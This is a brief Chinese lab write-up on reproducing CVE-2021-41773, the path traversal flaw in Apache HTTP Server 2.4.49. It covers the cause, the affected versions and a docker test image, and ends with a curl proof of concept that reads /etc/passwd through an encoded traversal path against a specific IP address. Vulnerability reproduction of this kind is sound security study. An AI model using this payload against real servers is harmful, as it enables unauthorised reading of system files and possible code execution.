常见中间件漏洞复现之【Apache】！

CVE-2021-41773

           Apache HTTP Server 路径穿越漏洞

漏洞简介

           该漏洞是由于Apache HTTP Server 2.4.49版本存在⽬录穿越漏洞,在路径穿越⽬录

<Directory/>Require all granted</Directory>允许被访问的的情况下（默认开启），攻击者可利⽤该路径穿越漏洞读取到Web⽬录之外的其他⽂件

在服务端开启了gi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执⾏任意cgi命令（RCE）

--------------------

影响版本

Apache HTTP Server 2.4.49

某些Apache HTTPd 2.4.50也存在此漏洞

-------------------

环境搭建

docker pull blueteamsteve/cve-2021-41773:no-cgid

-------------------

漏洞复现

       打开网页

使用poc 

curl http://1.15.136.212:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd